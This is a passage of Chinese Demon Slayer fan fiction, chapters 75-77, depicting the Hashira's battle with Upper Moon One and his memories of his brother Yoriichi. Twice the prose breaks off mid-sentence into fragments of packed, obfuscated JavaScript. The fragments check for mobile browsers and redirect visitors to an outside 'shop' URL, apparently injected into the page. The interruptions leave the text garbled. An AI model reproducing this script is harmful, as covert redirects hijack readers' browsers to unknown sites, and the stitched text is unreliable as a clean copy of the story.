思绪飘忽地回到前一天的夜晚,在岩柱训练附近的住所,他们几人围坐在篝火边饮食、休息。伊之助已经睡着了,轻轻的鼾声融入篝火中木柴的燃烧,屋外蝉鸣不止,灶门炭治郎微笑地看着他,热茶袅袅升起的雾气后他的眉眼温和而平静。先前与上弦之六的战斗从他口中娓娓道来,花街退去繁华后的杀机显现。彼时的灶门炭治郎以能力而言自然弱小,而一场战斗之中敌人所能警戒的对象永远有限,当强大如音柱挺立在前,弱小的灶门炭治郎便能从旁观察,抓住机会一力扭转战局。 那么接下来,最重要的问题就是敌人如何分配自己的注意力了。任何人都是如此,对于实力强大的柱,鬼一定会时刻警惕、全力严防死守。而看起来对自己而言没有什么威胁的弱者,奋战时鬼的注意力自然会松懈得多。所以,一旦所谓的“弱者”能够把握机会、出其不意地对鬼造成意想不到的伤害,就能瞬间打破僵局,扭转形势,从而顺利开辟出一条通往胜利的坦途。 炭治郎……炭治郎……你说的是真的吗?不死川玄弥听见自己的心跳声,所带来的鼓点连携着呼吸的韵律,身体不自觉的颤抖已经难以说明究竟是惊是惧,压着舌尖也一同含混起来,那个夜里没能坦诚问出的问题,这一刻他无声地询问着记忆中的炭治郎,又好像是在问自己……你真的认为凭我也能做得到吗? 回忆中面对自己的犹豫时以微笑无声回答的灶门炭治郎再一次在他的脑海中露出笑容,那是无言的肯定,带着全然的信任。 玄弥从衣裳中摸出方才拾起的上弦之一断裂的刀尖,他的手正在剧烈地颤抖着,但仍然紧紧地握住被布包裹住的利刃。 不要犹豫,他在心底这样告诫自己,事到如今,他必须站出来! 原本准备留到下一次中招时作为治疗的手段再吃的……但如此保守的想法肯定无法办成大事,更不可能战胜强敌。必须要保持强劲的攻势,除了战胜眼前的强敌,别的什么都不要想! 不死川玄弥取出那节刀尖,毫不犹豫地将之送入口中。那段散发着不祥气息的刀尖没有金属的气味,却蕴含着某种血腥的基调,咀嚼、咀嚼,几乎让他迷惑自己正在吞咽着什么,本该坚硬的口感脆生生断裂,任由他吞下,顺着食道滑落,融进他的胃中。强烈的奇异味道从胃中升起,他紧紧捂住嘴,口腔中破损的细小切口后知后觉地溢出鲜血,裹挟着铁锈味翻腾在不死川玄弥的唇舌之上、血肉之中,为他的祈愿带来回应。 他绝对不能,让哥哥、师父,还有战友们死在这里! 76. 通透 战斗始终持续着,周遭一切在各式各样的战技之中变得极为混乱,破碎的建筑残损地摔落,始终无法近身攻击继国严胜的四位柱浑身都是伤痕,浓重的血气扩散,应对变得越来越困难。 月之呼吸已经发动至第十六型,这对于柱的认知而言已经是另一种极限,没人知道他究竟还有多少种新的战技。一切都显得分外诡异,继国严胜的速度太快了,他们来不及做出更多的举措,没办法主动进攻,仿佛连动作的本能与战斗的思维都被鬼一清二楚地看穿了。 这太诡异了,悲鸣屿行冥注视着继国严胜的一举一动,他毫无情绪波动的状态将一切显得如此理所当然,而他每一次试图进攻的动作还未做出,就已经被继国严胜完全识破了。这怎么可能呢?莫非他使用着某种神技?不、绝不可能。 这只鬼究竟在看着什么,又一直在看什么呢?悲鸣屿行冥用自己人类的感受观察着继国严胜,去揣测鬼眼中的世界,所谓恶鬼,终究也是由人变化而来的,鬼能做到的事,人没有理由做不到。而呼吸法的运用更是可以将人类的能力提升至与鬼相似的水平,面前的鬼所驱使的战技同样建立在呼吸法的基础之上,他们之间并没有太多的差异,反而尽是异曲同工之处。屏气凝神,没有目力的他所感受到的世界远比真正以肉眼看到的人更为细致。悲鸣屿行冥感受着继国严胜的气息,尝试使用呼吸法,不能视物为他抵消了一切表象的迷惑,只能用心去感受。 而违和感就在一切迸发的极限中,被他全神贯注的感知搜寻悄然拨开一角。 视野在一瞬间放大。 超脱目视的极限,仿佛站在一个全新的独特的视角,以旁观者的身份亲临。那些寄托于月之呼吸的无形斩击也在顷刻间被赋予形体,空气中错开的形态完整地暴露在他的感知之中。 悲鸣屿行冥“看到了”继国严胜的肌理。 恶鬼的□□在他眼中层层展开,皮肤之下肌肉的蓬发收紧与每一滴血液的鼓动都清晰无比。 这、这是什么?居然能感受到他的心跳?脑海中甚至出现了清晰的影像,莫非这就是……! 强攻的另一侧,时透无一郎与炼狱杏寿郎寻找着合适的时机,近身便是他们的目标。 他们互相看着对方的状态,不断在躲避攻击的动作中切换着落点,要设法冲到继国严胜的身边去,必须要设法阻止上弦之一的行动,哪怕只是在短暂的一瞬间稍微延缓他的进攻节奏,也能为岩柱和风柱创造更多可以将其斩首的机会! 时透无一郎清楚地知道自己的弱点,他的体能与身体强健程度与其他三个柱无法比较,而且失血过多的他即使得到来世的治疗,重伤带来的虚弱感也并非一支补剂能够挽回。谁也不能预测他会不会倒在下一次鬼的攻击之下,逐渐错乱的心跳声无疑在悄声提示他的时间并不多了。 必须在自己还能派得上用场的时候尽快行动起来! “不死川!”悲鸣屿行冥的喝声如惊雷响起。 两人没有对视,视线却默契地相交在一点——那是一处月刃没有席卷到的安全岛,也是炼狱杏寿郎和时透无一郎逼近的必经方向。 在这一刻他们四人心灵相通,感官同步,互相配合着行动起来,共同向继国严胜急速冲去! 恶鬼再一次看清了他们的准备。他张开手臂,挥动刀刃,将刀尖流淌的月色滚成一场风暴,吹着满目的绯色以他为中心卷向四周。 冲进去! 冲进去!冲进去!冲进去!! 冲进他的攻击范围内侧! 时透无一郎与不死川实弥的身影在刀光中化作翻飞的雨燕,翱翔在沉甸甸坠下的一切灰暗之中,纵然羽翅沾湿,也全力扑扇着让自己飞得更高更远。 穿过去吧!从攻击的缝隙之间!穿过去吧!从纵横交错的重重刀气之间! ——砰! 出乎意料地,有什么打中了继国严胜握刀的手。 那是……原本悲鸣屿行冥悬挂在颈上的念珠。 是什么时候……难道是挥动锁链的时候扔过来的吗?但他究竟是如何躲过他的视线的? 转瞬即逝的麻痹使继国严胜的攻击停滞了须臾,即使那时间迅速得完全无法计数,却依然为柱们带来了期待已久的契机! 尘旋风再次登陆,纵横的火墙与之交错,中心点正是继国严胜所在的位置,两相夹击逼着他必须躲开,风火伴随之中,气流紊乱无比,空气被忽地砸碎。不过眨眼间,流星锤勇往无前地自后方袭来,竟然就这么正正砸中他的肩膀,沉闷的击中声响起,鬼的血肉碎裂。那是完整的破碎,血肉没有丝毫的留恋,被尖刺消损形骸。 继国严胜更是到了这时候才发觉,原来如此,这个男人…… “噗呲——” 青色的刀刃穿透肌肉,原来锋锐破开人体时是这样的声音,就在方才,借着那一瞬间的停滞而完成逼近的时透无一郎从下方钻出。他唇边溢出血液,却难掩那冷冽的愤怒。 子孙将锋芒捅入先祖的胸膛,此乃以下克上的回敬。 金红色的眼瞳剧烈颤动,在沸腾的红海中齐齐下移,继国严胜看清了时透无一郎的现状。即使没能砍到他的颈动脉,但按理来说以这孩子所受的重伤,他绝无可能避过他的攻击。哪怕是他的战技因为被念珠击中而迟缓了些,也不应该…… 莫非…… 继国严胜恍然大悟,莫非这双眼睛……也能看到他所看到的世界? 那么,这一切的变化一定是从那个岩柱开始的。他是从战斗中逐渐开始感受到的……而且这个男人还算计了他的眼睛,他运用呼吸法在血液流向上做了手脚,以此扰乱他的感知并直接影响到他的进攻。 原来如此……继国严胜的视线逡巡着,的确发生了一些无法预见的意外,但是,最重要的是这些柱的武器都无法伤到他的脖颈。而算计或干扰的存在,无论如何,只要被看破,就毫无意义可言。 连拂开时透无一郎的必要都没有,继国严胜平静地看着炼狱杏寿郎等人靠近,他只是高高举起日轮刀。 ——这是再一次月之呼吸的起势。 【一旦我成功阻止了上弦之一的行动,你唯一需要做的就是马上开枪!】 【不要管我,千万别犹豫!】 疗伤时时透无一郎的嘱咐言犹在耳。 吞下继国严胜的刀尖后眼瞳变得与他完全相同,额头上也生长出类似的火焰痕迹,不死川玄弥没有时间思考自己现在究竟算是什么,在学会了铸造那柄刀血鬼术后,他当即融合自己的血肉改造了手枪。他一直等待着这一刻的到来。现在,舞台已经准备就绪,挣扎在他身躯中那狂暴的因子没能影响他哪怕半分的犹豫,他扣下了扳机。 危机意识作祟,继国严胜当然感觉到了。他第一时间就用刀接住了比起柱逼近的速度更迅猛的暗器,但诡异的是,这弹丸却犹如活物般临时改变方向固执地扎进他的血肉中,被击中的钝痛掺杂着鲜血,不断挑拨着他危险的神经。 余光瞥去,他看见了鬼化的不死川玄弥——那副模样——与他那把显然得到改造的异样的枪。 可惜的是,这一次他不再拥有腰斩那个食鬼之人的机会。 自那些射入他□□的弹丸中倏地萌发出一股巨大的生机,扎根在他血管之中的种子汲取着来源于上弦之一的养分蓬勃生长,粗壮的枝干顷刻间便牢牢地抱缚着继国严胜的身体将他死死钉在原处。果然是血鬼术——后知后觉的真相让他明白不死川玄弥能力的本源正在于他被削落的头发与断刃,他吸收了他的一部分,又用如此得来的力量禁锢了他! 无法动弹。就连举起刀的双手也无法移动分毫。 继国严胜只能眼睁睁看着那三个柱向他靠近。 恐惧、愤怒、厌恶一一上演。仿佛从心窝到头部被贯穿的紧张感,因为生命受到威胁于是身体都开始麻痹起来…… 平稳感从脚底开始瓦解的感觉,讨厌……又让人怀念的感觉。 四百年来的第一次。 四百年前的某一天,那是一个升起红月的夜晚,独行在荒野之中,望着那轮巨大的满月。继国严胜见到了比这更为不可思议的光景。 不知道他是以怎样的毅力与心态走到这里的,苍白的头发在夜风中拂动,勾勒出毛躁的影子。他还穿着与当年类似的和服,腰间佩戴着当年那柄刀,站立时身形依然笔直有力,只是面容被岁月毫不留情地抹去了年轻,留下的只有苍老的痕迹。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613474|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >继国严胜并没能想到有生之年还可以再一次见到“弟弟”。已经是一副寒酸而年迈模样的“弟弟”。 ……上一次见到他是六十年前吗?那么人类的他年龄已经超过了八十岁。 “不可能……”这是绝对有碍继国严胜认知的存在,他顾不上别的一切,只下意识问道,“为什么还活着?” 那个夜晚好安静好安静,仿佛世界上只有芦苇叶互相摩挲的声音。冰凉的风中,他固执地寻找着一个答案,寻找着那个让自己不会变成一个笑话的答案:“其他人明明应该都死了,不超过25岁就死了……你,为什么你,只有你……” 弟弟没有在意他的问题——记忆中他好像一直如此,像活在自己认知的世界里——他还没有说话,眼泪就已经落出眼眶:“哥哥,你,太可怜了。” 被年迈、衰老、朽木一般、过去是弟弟的生物怜悯了。但内心中首先升起的却并非愤怒,而是荒谬。巨大的荒谬驱使着继国严胜认真打量起面前这一存在。无论是面庞还是身体,原本光洁的肌肤变出沟壑,曾经能够看出与自己有着同源血脉的特点如今已经全部消散,徒有衰老的丑姿,那显然是继国严胜从未想象过的样子,无论是弟弟还是自己。 他同样年老的嗓音吐出的“哥哥”二字已不带年幼时的信赖或欣喜,声音变得深沉,所蕴含的意味也同样如此。明明是六十年前最讨厌的弟弟。然而看到在情绪上没有喜悲的弟弟流下眼泪,继国严胜第一次因为没有预想到自己会产生动摇而感到深深困扰。 在他这颗早已非人的心中喧嚣的竟然全数是他已经抛却的那些感情,这不对、不应该的。当初做出选择时不就已经想好了未来吗?即使那无数个未来中都没有弟弟存活至今的考量…… 对。没错,他已经是一个老人了,不再是全盛时期……必须要杀了他……断绝人类时血肉的联系。 他是猎人,猎人会向他举起刀,而向自己举起刀的人都应该被斩杀。 弟弟一言不发,端正地做出拔刀的姿势。 或许此时此刻在自己脑海中增殖的纷乱,在下一秒就会断绝吧。 从不懈怠的弟弟、生来就具有过人天赋的弟弟、什么都不用做好像世界就会向他奔去的弟弟……在阔别六十年后的今夜,已不再是一路人的弟弟,只是摆出准备攻击的架势就让自己感受到无尽的压力,仿佛在双肩压上沉重的巨石,压迫感将空气都加重了,夜风悄然息止,沉闷的气息由外压进自己的肺叶。 那么苍老的弟弟,那么衰老的人类,那么普通、毫无花样的剑招,在他的姿势上却没有任何可以叫自己喘气的缝隙。 就像并肩作战时的每一次一样,弟弟轻声说道:“要上了。” 他拔刀出鞘冲来的瞬间继国严胜什么也看不清,甚至没能来得及拔出自己的刀。手才握上剑柄的瞬间,脖颈处血液已经飞溅,溅落在这个寂静且冰冷的夜里。 为什么?一切的一切在生死之际变得不再重要,只是沦落到继国严胜的心中,仍然只剩下这一个问题。 为什么只有你在世界的常理之外? 为什么只有你一直是特别的存在? 明明是斑纹的持有者却长寿,明明那么老了,使用技术却和全盛期的速度、威力无差。 继国严胜清晰地想起来了被自己抛诸脑后的那些往事,六十年前与他相伴的每一日,仿佛要将骨头都融化的嫉妒心都在沸腾。憎恨你,想要杀了你,继国严胜难以维持平静地暴露出恶相,用嘶吼般的喘息压抑着即将突破喉口的疑问。他知道,只要再一刀他就会死。 把那位大人也压制的剑技,说是神也毫不为过,紧张和失败的屈辱将内脏全部搅紧,下一次不会再偏离了,会绝不心软地砍下他的头颅。原来时间固然可以带走很多东西,却还是无法改变有些存在,千百个日夜的流转,继国严胜无数次以为自己已经释怀——他活了下来,长久地存活,而弟弟终将成为往昔的一道残影,与滔滔流去的岁月一同消失在他的永恒之中。他疯狂地逃了这么多年,以为自己已经成功逃脱了,事实却是一个不好笑的笑话,他还是被追上了。 但是。下一刀已再也不可能了。 他以站着的姿势耗尽寿命去世了。 77. 残局 时隔那么多年,继国严胜依然无法否认的事实便是——如果弟弟能够再多活哪怕一口气,他早就输了。且这惨败将以他的生命作为代价,无论如何,他都没有反抗的能力。 然而,弟弟——继国缘一还是就这么死去了。 为摆脱死亡、求得永生而变成鬼的继国严胜因此在之后的数百年间不断地反复品尝着这份屈辱的滋味。缘一是他永远无法战胜的对手,也再没有能战胜他的机会。他的生命于常人而言足够漫长,于鬼而言却只是弹指间的一瞬,那璀璨如同高悬于天穹的耀阳般珍贵的生命、那颗降生在人世的天神般的灵魂,终于……终于在继国严胜的亲眼注视中彻底熄灭了。 继国严胜终于抛却为人时全部的牵绊,灵魂一阵阵地颤鸣,分不清究竟是喜悦还是迟疑,在被永夜包围的后半生,他只能对着月亮肯定:缘一一死,他便再无死得其所之日。 鬼杀队与鬼作战的历史无比漫长,期间诞生过无数优秀的剑士,但从未有一人如缘一般,他是这条汹涌的河中最有天赋、最坚定的人。而如今,他死了。天幕上日月轮转,太阳黯淡时月亮自然皎洁,虽然光辉难以匹敌刺眼的阳光,却也能以独有的光辉照亮人间。继国严胜相信自己绝不可能再输给其他任何人。 没错,他选择了所向披靡的道路,甚至不惜成为这副丑陋的姿态…… 继国严胜不知从何处爆发出一阵猛力,肌肉收紧,所有的筋络爆鼓而出,狰狞地盘踞在皮肤之上,内心不再能保持可笑的平静,掀起的波涛第一时间击碎的便是眼间的皮肤,五官皱起,显出深深的沟壑,继国严胜拼死地咆哮,以怒吼宣泄着心中喧闹的情绪。尚且能够战斗的炼狱杏寿郎三人见状即刻挥舞着刀扑向被血鬼术固定住的恶鬼,不同的呼吸法同时以高速运转的姿态疯狂地催发着三人的体力,使他们再一次坚持着! 或许也正是这番变化,无形间遮挡了突然响起的一声琵琶,空灵的拨弦声颤抖着,余音融入此间激烈的战况,化作无形的淡香。 上弦之一的继国严胜在瞬息之间以无法想象的凶猛力量挣脱了不死川玄弥使用的血鬼术所带来的挟制,世界如被笼罩上一层幻影的面纱,月光如流银般流淌,构建成独特的障,唯独一片冰冷的月华正在无声地蔓延,以他为原点,其所经之处,无形的刀锋沿着每一缕光线的轨迹四散爆开,无情地损毁周围的一切,仿佛将整片空间都切割成碎裂的镜。 本冲着继国严胜冲去的三位柱也被这刀锋毫不留情地推开,凝练的斗气肆意留下鲜红的伤痕,赐以疼痛点缀绝望的败局。 而在那纷乱的刃光之中,尚且能独自站定的只有悲鸣屿行冥,剩下炼狱杏寿郎和不死川实弥二人在风暴中被吹飞,在即将以□□直击地面来停止动作时两人分别被两只纤细却有力的手拽住、最大程度减少了直面月刃的损伤。视线慌忙偏移,注意力从继国严胜身上移开,看见的竟然是虫柱胡蝶忍与她的继子栗花落香奈乎! “胡蝶!” 鎹鸦曾送来消息,上弦之二的童磨被消灭于她们手中。 “你们怎么来了?” 嘴上虽然这么问着,但四人都没有寒暄的打算,视线略一相交,便立刻重整状态站起来警戒地看向继国严胜。 战场最中间的那个鬼……他还勉强保持着人类的姿态,然而处处都显得那么离奇。如同愤力造就,自他骨骼之中竟然生长出许多的剑刃,爆出躯体,以最尖利的一面迎向世界。不局限于手臂与躯体,甚至腿上也存在着,脊背后刺出的刀尖更是蔓生出次级的枝条,展翼般彰显出昂扬的锐利,如同节肢动物的触肢。 他手中死死握着那柄用自己的血肉铸就的长刀,仿佛粘连着皮肤的结构,一次又一次不断地挥舞着利刃,甩出月色的斩击。更奇异的是,他周身如肢体般生长着的那些长短不一的刀刃也会随着他每一次挥斩的动作释放出同样的攻击。 洁白如玉雕刻出的肌理再次完好无损,没能留下任何伤痕,哪怕不死川玄弥扎根的血鬼术。唯独只剩下他腹部——先前被时透无一郎趁机捅入的日轮刀依然在那里,正随继国严胜的动作微微晃荡,而原本紧握着刀与继国严胜僵持在原地的时透无一郎如今却没了踪影。 “时透!” 那么近的距离,在直接承受继国严胜爆发出的风暴般的月刃后,或许……能安然存活的几率……可能…… 过于残忍的想象使风柱听见自己血液逆流般刺激着大脑的声音,太阳穴那儿一鼓一鼓地跳起,浑身所有的血都冲向手臂,烫得他握紧了手中的刀。胡蝶忍正紧急翻出止血药给他们吃下,作为都注射了来世的几人,即使因药力发挥自愈能力得到明显提升,在方才那阵风暴之中也难免受伤,交错的伤痕还没来得及恢复就又一次绽开新伤。几人胸膛剧烈地起伏着,不断以更大的呼吸缓解疼痛带来的麻痹感,逼着大脑清醒地应对。 炼狱杏寿郎巡视四周时无心地抬头,意外瞧见了正如同壁虎一样紧紧扒在还完好的那部分屋顶上的一个人影。 一颗栩栩如生的野猪脑袋转过来,他手中用力拽着一个少年,即使被他的体重坠着绷起的肌肉也始终没有松开。原来方才与胡蝶忍师徒一起进入的还有嘴平伊之助,他借着自己野兽般的动作能力巧妙、迅捷地避过可能造成致命伤害的刀气,将来不及躲开的时透无一郎成功救下。 “猪头少年!还有时透!” 听到大家惊喜的声音,伊之助的声音穿过头套,洋溢着要再次大干一场的摩拳擦掌,他点点头,“好!准备好了!”说着,学着岩柱甩动流星锤那样大幅度地摆动手臂,在众人惊奇的注视下摇动起抓着的无一郎。“要上了!”说着,伊之助哈哈大笑起来,就这样当着包括继国严胜在内所有人的面猛地向下扔出时透无一郎的身体,同时抽出自己的双刀,跟着跳了下来! 无需更多意会,破局的机会向来可遇不可求,有时这样无厘头的行为或许正巧就是最好的时候。悲鸣屿行冥等人当机立断发动着呼吸法冲向继国严胜! 而下坠中的时透无一郎在这短暂的数次眨眼间想了许多许多。脑海中闪烁的那些画面一帧一帧阐述着他这一生,即使只是短短的十数年,但他已经竭尽自己的全力去将每件事都做到最好。人类毫无疑问是脆弱的生物,他的“先祖”并没有说错,但无法选择自己来路的人类可以选择自己的归途。 先前仅仅是面对一柄刀的上弦之一,他们几人就已经大费周章,现在虽然有了胡蝶忍他们的加入,但鬼的状态似乎也更胜一筹,那些同步运作的刀尖更是加大了他们近身的困难。 他嚼下一颗止血药,淡淡的苦涩药香弥漫在口腔,遮掩过原本的血气。虽然在方才的攻击中被伊之助救下避免了死亡的危机,但他现在浑身上下到处都是大大小小的伤痕,受伤流血是他生命的常态,他不知道自己的生命还能坚持多久,看不清迷雾之后自己的结局又是什么颜色。但是,看着恶鬼举起刀的动作,意识到他即将再次发动自己那些无孔不入的剑招时,时透无一郎脑海中清晰展露的只有——自己必须再做些什么! 比他动作更快的几颗看不清的黑色物体,其冰冷的外壳摩擦着无形无色的空气越过无一郎的身形直直冲撞向继国严胜。 在经历了玄弥的血鬼术后,继国严胜愈发警惕地戒备着这些突袭的暗器,他没再给它们靠近的机会,只转移攻击的目标,力图在它们靠近前就在半空中用刃光击碎。 “砰——!” 被同时击碎的那些暗器也发出一阵仿佛能造就地动山摇的爆响。火药燃烧的浓烈硝烟味霎时间盖过众人的思维,这是学习了主公的要求后进行改良精简的小型炸药,先前由有栖川朝和随身携带,在转移时发觉他们进入上弦之一的所在地后,她将这些危险品分给了胡蝶忍他们。威力上虽然难以与鬼舞辻无惨所经历的炸药相媲美,但总能在特殊情况下达到出其不意的效果! 在炸药爆炸范围之内的刀刃受到巨力的损坏,一一折损,断刀于他而言何异于断骨,疼痛抽动继国严胜的表情,但来不及思考,紫藤花的粉末与掺杂其中的特制铁屑纷纷扬扬地落下,毫不留情地洒满继国严胜的身体。即使继国严胜已经敏锐地察觉到情况突变,并试图挥动刀刃搅乱空气的流动,那些轻盈的紫藤花粉末却还是防不胜防,自由地舞动在半空之中,以粉末的形态飘动、落下,在空气中肆意招展,化作一片独特的紫藤花海。而力所不及之处,铁屑裹挟着粉末直接落在继国严胜的躯体之上,以针对鬼的血肉的滚烫温度破坏着他的完好。 时透无一郎就借着紫藤花粉末化作的浓雾掩蔽身形,躲过继国严胜发狂的攻击来到他的刀前。 在自己……死之前……时透无一郎咬紧牙关双手紧握住日轮刀的刀柄。一定要为同伴们……心跳变得更为激烈,已经嘈杂到影响思考的程度,又或者该说思考的能力已然散去,存在于这具身体之中的本能与执念相融,正不断重复着他的心愿。 在锻造成这柄青色的日轮刀前,矿石曾经历成千上万下反复的锤打,刀匠将矿石熔炼成金红色的铁浆,在高温中不断灼烧着剔出杂质。一柄完美的刀自然要经历这番苦痛,若是刀剑有灵,也该知道自己是为了杀敌而生。信念、坚定,还有别的什么,或者全部的一切正悄然汇聚,自四面八方流淌至一道溪流,最终化作时透无一郎手中的刀。不知何时从青色转变为鲜红色的刀刃似乎重回锻打时的姿态,以高温的灼烧刺激着被捅入的恶鬼,与继国严胜伤处缓缓流淌的鲜血仿佛同源而生,又像是那刀身融成了血色的流浆,浇铸着继国严胜难以治愈的疼痛。 那灼烧的剧痛仿佛要将内脏都一同融化一般,使得哪怕已经发现日轮刀变红的继国严胜身体僵硬无法动作。 数百年前,与他流着同样血液的弟弟是他对于血亲最后的印象;数百年后,身体中流淌着来源于他的一丝血脉的子孙将弟弟没能击中的刀刃刺入。 这一次,继国严胜没能再有机会格挡不死川实弥向着他的脖颈砍来的日轮刀。 战局之外,以建筑作为掩体的不死川玄弥没能完整地躲过先前那阵月刃的风暴。四散的刀光将周围的一切都斩断,哪怕那些木柱与隔墙,也都尽数在刀光中倾倒。或许是继国严胜有意的举动,一道无形的刀光直冲他而来,即使有隔墙作为遮挡,不死川玄弥依然没能避免锋刃的攻击。 他的身体被拦腰斩断,血液漫开,疼痛感让他短暂地失去了意识,迷迷糊糊之中似乎看见一个黑发的身影向他奔来。 那不是别人,正是后胡蝶忍他们一步稍晚到来的有栖川朝和。因为没有直接介入战斗的能力,在胡蝶忍的嘱咐下她一直远远地观察着战斗的情形,寻找着自己能帮得上忙的地方。终于,她发现了躺倒在地无法动弹的不死川玄弥。 急忙跑过去,有栖川朝和还没来得及给他疗伤,只是刚看清他的状况,就不由倒吸一口凉气。少年精瘦的身体被一刀斩断,鲜红色在他身下铺出一朵哀烈的花,而他边上满是倒塌、破碎的木渣石砾,稍显幸运的是大块的建筑物并没有直接砸落在不死川玄弥的身体上。难以言明的恐慌瞬间攫住有栖川朝和的心脏,将每一下跳动都无比沉重,震响着整片胸膛。 但神奇的是,即使已经被腰斩,不死川玄弥也没有死亡,他的呼吸依然存在,心脏跳动的声音伴随他的脉搏轻轻传出。 有栖川朝和立刻想到第一次见到玄弥时,杏寿郎同她说起的玄弥的身世以及他的特殊之处。虽然也是鬼杀队的一员,但玄弥并不能使用呼吸法,相反,他有着截然不同的战斗方法——吞食鬼的血肉,将自己在一定时间内同化为鬼,并且拥有鬼的能力。后来在与胡蝶忍的交流中,她更具体地知道了玄弥这种能力的极限,在将自己同化为鬼的时效内,玄弥同样拥有着鬼的自愈能力,越是强大的鬼为他带来的奇效就越是明显。因此玄弥虽然经常受伤,却并不太常来蝶屋治疗,即使前来,存留的伤大多也并不严重。这正得益于他鬼化期间继承的鬼的能力。 忍耐着满心的酸涩,有栖川朝和小心翼翼地将不死川玄弥被分割成两半的身体整齐地拼在一起,与注射来世后类似的情形,血肉才贴合,创口的肌理便蠕动着逐渐粘合。但毕竟身体的主人这会儿陷入了昏迷,恢复的效率并不尽人意。于是朝和弯下腰在玄弥耳边轻轻叫他的名字,试图唤醒他的神志,几番尝试,只有叫风柱名字的时候少年沉重的眼皮才会有挣扎的动作。 反复尝试着睁开的眼睛艰难地掀起一道细微的缝,眼睫下鲜红的瞳仁像极了碎裂的玻璃,分割着这颗勇敢的心。朝和立刻取出止血的药物厚厚敷在玄弥腰间,药物的刺痛逼着少年从昏沉中猛然清醒过来。似乎有一滴泪从他眼尾划过,朝和注意到时只瞧见他满额的冷汗,而他乌黑的瞳仁只从一片水光中直直地瞧向战斗中的不死川实弥。 干裂的嘴唇张了张,尚且能控制的上半身忽而鲤鱼打挺似的挣扎了下,朝和下意识按住他——以防他影响到自己正在自愈的伤,“怎么了,玄弥?”她关切地问道,声音因为担忧而微微颤抖。 被血红色结构包裹的乌黑枪支从始至终牢牢地躺在不死川玄弥手心,这会儿正被抬起。冰冷的枪口朝向被鬼杀队众人限制在原地的上弦之一。 不死川玄弥想要做什么,已经昭然若揭,无畏自己损坏的躯体,也要将自己的余力注入这场战局。看着他因为失血过多掌控枪时只能摇晃着试图精准地瞄准,朝和伸出手握住玄弥冰冷的手,帮助他平衡枪支。 “血……鬼术……” 殷红的血从他齿间冒出,淹没他的下颌。 朝和与他一起稳稳扣下扳机,湿意脱出眼眶。 那一枚子弹飞速钻出枪膛,划破空气,正中上弦之一的脊椎,眨眼间便在他背上扎根生长,化作一株繁茂的囚牢,禁锢鬼的动作。 再一次被血鬼术偷袭成功的继国严胜心中钻出一阵烦躁,这碍事的定身术、与那碍眼的伪鬼,念头电光火石地一闪,劈开纠缠不休的风柱,继国严胜抬起刀就欲先一刀两断地斩杀了远处苟延残喘的仿冒品……但,无法出招! 格挡在他刀前的是一柄流火之刃,刀身上升腾的火焰如燃烧的远天,挟着滚烫的温度逐渐逼近,一双赤金色的眼眸从那缭乱的火中隐现。那是与他一样从数百年前流传至今的传承,炼狱杏寿郎没给继国严胜伤害旁人的机会,以守护而存世的火焰只会点燃敌人的生命,以永不熄灭的战意势要将他燃成灰烬。 代代相传的炼狱家似乎有着同一副面貌,看着皱眉的炼狱杏寿郎,继国严胜恍然中看到的是当年的自己——那时的炎柱叫什么名字他早已忘记,只是他好像总在奋笔疾书些什么,他也曾见证过自己与缘一从前的往事,也曾感叹日与月的合并……不过这一次,在那双如出一辙的眼中,除却一点跳跃的火光,继国严胜没能看见自己。 而在他分神的刹那,旋风卷着悲鸣屿行冥的流星锤猛力砸向继国严胜的脑袋。 人类无法发出的怒吼声苦痛如雷,爆响在无垠的此间,震颤着流淌的时间。 但那是何等强劲的脖颈,胜过世间最坚硬的金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613475|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属,叠加了风柱与岩柱两人的力量也依然无法砍断! 悲鸣屿行冥咬紧牙关,挥动另一只手牵引的斧头,从下方飞出,妄图从下往上斩去继国严胜聒噪的头颅。 越是紧急关头意识越发清醒,继国严胜调动着身体之中残留的全部力量尝试着用刀挡住斧头的攻击。可不管怎么尝试,体内燥热的能量始终疯狂四蹿、难以掌控,冥冥中他感觉自己的身体像个漏了个洞的容器,一切都正顺着碎裂处滚滚流出,无法留存。原因正是不死川玄弥最后的血鬼术!那枚子弹正中他的脊柱,将精心配制的火药与紫藤花粉末制成的剧毒一并送入他的骨髓,焕发的血鬼术则死死扎根在他宽阔的背脊,根须顺着脊椎向每一根骨骼的所在延伸,以疯狂吸食他的血肉来肆意生长。 还有时透无一郎那柄染红的刀!红色已晕染刀身上“恶鬼灭杀”四个铭文,流溢着斑斓的光泽,为他送上灭顶的剧痛,引发身体陷入无法反抗的僵直。 红色的刀刃,和缘一的一模一样…… ——继承人的事要怎么办? 记忆又回到从前,那是加入鬼杀队许久之后,他从缘一的身上领悟并创造了月之呼吸。随着剑技打磨得逐渐纯熟,杀鬼的事变得越发得心应手,看待世界的角度随着每一天的变强而改变,继国严胜或许以为自己已经真正找到了自己寻求的方向——生活正在变得圆满。 可惜世界上没有什么事是十全十美,璀璨的烛火下同样存在着无法被照射到的灯下黑。 他与缘一对于呼吸法的掌握远非常人能及,在整个鬼杀队中也无可匹敌。理所当然地,想到人类终有一日会老去,杀鬼的事业却未必在这一生中有尽时,继国严胜考虑到未来的事。 “能和我们匹敌的高手并不存在,吸收术的继承希望渺茫,”两人独处时,他这样问道,“千锤百炼的技术会失传的。”后来再想起这一日,继国严胜才恍然自己的想法是多么狭窄——何须担心继承人的事?觉醒了斑纹的剑士甚至连未来都不会拥有……自顾不暇的人又如何考量他人的生命? 